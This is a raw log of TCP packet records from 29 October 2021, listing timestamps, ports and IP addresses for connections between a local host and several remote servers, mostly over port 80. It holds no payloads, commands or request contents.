Oct 29, 2021 17:55:38.108886003 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.108911991 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.108948946 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.111862898 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.111881018 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.111896992 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.111913919 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.111953974 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.112015963 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.116425037 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.116444111 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.116460085 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.116477013 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.116523027 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.116579056 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.139463902 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.139486074 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.139503002 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.139519930 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.139569998 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.139611006 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.151559114 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152019978 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152039051 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152121067 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152121067 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.152153969 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152172089 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152190924 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152198076 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.152236938 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152254105 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.152256012 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.152286053 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.154659033 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.154678106 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.154733896 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.154907942 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.154926062 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.154942989 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.154961109 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.154985905 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.155016899 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.160033941 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.160053968 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.160072088 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.160089970 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.160108089 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.160264015 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.160279036 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.163099051 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.163117886 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.163135052 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.163152933 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.163216114 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.163256884 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.167798996 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.167818069 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.167833090 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.167850018 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.167884111 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.167922020 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.190829992 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.190854073 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.190871000 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.190887928 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.190926075 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.190994978 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.203368902 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203389883 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203406096 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203423977 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203439951 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203449965 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.203455925 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203473091 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203489065 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.203525066 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.203560114 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.205796003 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.205813885 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.205826044 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.205840111 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.205928087 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.206083059 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.206100941 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.206135035 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.206151962 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.206154108 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.206171036 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.206198931 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.211407900 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.211426973 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.211443901 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.211460114 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.211544037 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.214291096 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.214308977 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.214324951 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.214340925 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.214364052 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.214411974 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.218939066 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.218959093 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.218976974 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.218992949 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.219074965 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.219105959 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.242141008 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.242177010 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.242196083 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.242213964 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.242230892 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.242291927 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.254633904 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254658937 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254674911 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254693031 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254734039 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254750013 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254757881 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.254801035 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.254827976 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254846096 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254863024 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.254870892 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.254911900 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.254916906 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257057905 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257076979 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257093906 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257111073 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257138968 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.257201910 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.257591009 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257618904 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257641077 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257663012 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.257677078 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.257708073 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.262729883 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.262752056 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.262770891 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.262787104 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.262861967 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.265412092 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.265434027 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.265450001 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.265467882 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.265497923 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.265515089 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.265520096 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.265579939 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.270359039 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.270381927 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.270397902 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.270415068 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.270534992 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.293526888 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.293560982 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.293581009 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.293601990 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.293643951 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.293674946 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.305943966 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.305969954 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.305985928 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.306003094 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.306019068 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.306035995 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.306051016 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.306062937 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.306066990 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.306143999 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.306185961 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.308240891 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308264017 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308280945 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308298111 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308315039 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308331013 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308336973 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.308427095 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.308651924 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308676004 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308691978 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308725119 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.308731079 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.308790922 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.314002991 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.314023018 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.314039946 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.314055920 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.314124107 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.316565037 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.316584110 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.316601992 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.316617966 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.316653013 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.316659927 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.316669941 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.316674948 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.316687107 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.316742897 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.321629047 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.321646929 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.321664095 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.321680069 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.321707010 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.321722031 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.321759939 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.344964981 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.345001936 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.345006943 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.345026970 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.345096111 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.357314110 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357352018 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357377052 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357400894 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357419014 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357422113 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.357434988 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357455015 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357477903 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.357522011 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.359541893 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.359576941 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.359597921 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:38.359675884 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.359854937 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:38.410917044 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.078557014 CEST	49844	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.130640984 CEST	80	49844	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.130752087 CEST	49844	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.131059885 CEST	49844	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.131083012 CEST	49844	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.212387085 CEST	80	49844	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.212451935 CEST	80	49844	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.212553978 CEST	49844	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.212721109 CEST	49844	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.252952099 CEST	49845	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.264594078 CEST	80	49844	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.305380106 CEST	80	49845	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.305500984 CEST	49845	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.305664062 CEST	49845	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.305697918 CEST	49845	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.385288954 CEST	80	49845	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.385387897 CEST	49845	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.385751009 CEST	49845	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.438548088 CEST	80	49845	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.488230944 CEST	49846	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.541443110 CEST	80	49846	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.541589022 CEST	49846	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.541790962 CEST	49846	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.541843891 CEST	49846	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.623198032 CEST	80	49846	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.623347998 CEST	49846	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.637388945 CEST	49846	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.690582991 CEST	80	49846	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.712531090 CEST	49847	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.766948938 CEST	80	49847	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.767124891 CEST	49847	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.767307997 CEST	49847	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.767337084 CEST	49847	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.848372936 CEST	80	49847	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:44.848548889 CEST	49847	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.856926918 CEST	49847	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:44.910607100 CEST	80	49847	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.004426003 CEST	49848	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.057161093 CEST	80	49848	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.057321072 CEST	49848	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.057451010 CEST	49848	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.059524059 CEST	49848	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.109919071 CEST	80	49848	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.111591101 CEST	80	49848	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.135441065 CEST	80	49848	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.135560989 CEST	49848	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.148734093 CEST	49848	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.201109886 CEST	80	49848	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.206384897 CEST	49849	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.260309935 CEST	80	49849	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.260548115 CEST	49849	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.260617018 CEST	49849	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.260631084 CEST	49849	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.343466043 CEST	80	49849	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.343631983 CEST	49849	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.343823910 CEST	49849	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.397613049 CEST	80	49849	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.406311035 CEST	49850	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.458574057 CEST	80	49850	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.458693981 CEST	49850	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.458841085 CEST	49850	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.458869934 CEST	49850	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.510965109 CEST	80	49850	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.539212942 CEST	80	49850	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.539302111 CEST	49850	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.539570093 CEST	49850	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.587096930 CEST	49851	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.591548920 CEST	80	49850	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.640254021 CEST	80	49851	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.640413046 CEST	49851	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.640563965 CEST	49851	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.640584946 CEST	49851	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.718061924 CEST	80	49851	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:45.718261957 CEST	49851	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.718425035 CEST	49851	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:45.771543980 CEST	80	49851	185.98.87.159	192.168.2.6
Oct 29, 2021 17:56:03.198034048 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:03.222573042 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:03.222698927 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:03.864991903 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:03.889939070 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:03.951942921 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:04.703300953 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:04.765738964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:04.768577099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:04.768992901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:04.769001961 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:04.831089020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:04.831105947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:04.940594912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:04.947161913 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:04.947180033 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:05.009421110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:05.009435892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:05.113419056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:05.170756102 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:05.484038115 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:05.580190897 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:05.582133055 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:05.582315922 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:05.882389069 CEST	80	49857	5.163.179.4	192.168.2.6
